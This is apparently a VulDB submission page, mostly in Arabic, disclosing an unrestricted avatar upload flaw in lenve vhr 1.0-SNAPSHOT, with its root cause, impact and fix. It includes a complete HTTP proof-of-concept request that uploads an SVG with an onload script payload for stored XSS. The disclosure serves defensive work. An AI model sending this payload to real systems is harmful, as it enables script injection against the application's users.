إرسال #892902: lenve vhr 1.0-SNAPSHOT Unrestricted Uploadالمعلومات

عنوانlenve vhr 1.0-SNAPSHOT Unrestricted Upload
الوصفvhr(微人事) — Unrestricted File Upload on POST /hr/userface (VHR-VULN-005) Product: vhr(微人事) 1.0-SNAPSHOT CWE: CWE-434 Classification: Unrestricted Upload === ROOT CAUSE === `FastDFSUtils.upload()` — no file type validation. === REPRODUCTION === Avatar upload accepts arbitrary extensions (e.g. SVG) without MIME/extension whitelist. PoC: POST /hr/userface HTTP/1.1 Host: TARGET Content-Type: multipart/form-data; boundary=----BOUNDARY Cookie: JSESSIONID=SESSION_LIBAI Connection: close ------BOUNDARY Content-Disposition: form-data; name="id" 5 ------BOUNDARY Content-Disposition: form-data; name="file"; filename="poc.svg" Content-Type: image/svg+xml <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/> ------BOUNDARY-- Expected: {"status":200,"msg":"更新成功!"} === IMPACT === Stored XSS if uploaded content is served inline from FastDFS/CDN. === FIX === Whitelist image extensions; validate magic bytes; strip SVG scripts.
المصدر⚠️ https://github.com/ArrestX/vhr-advisories/blob/main/advisories/VHR-VULN-005-unrestricted-upload.md
المستخدم
 Anonymous User
ارسال16/07/2026 01:51 PM (2 أشهر منذ)
الاعتدال12/09/2026 10:24 AM (2 months later)
الحالةتمت الموافقة
إدخال VulDB403088 [lenve vhr 1.0-SNAPSHOT Avatar Upload /hr/userface FastDFSUtils.upload ملف تجاوز الصلاحيات]
النقاط20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!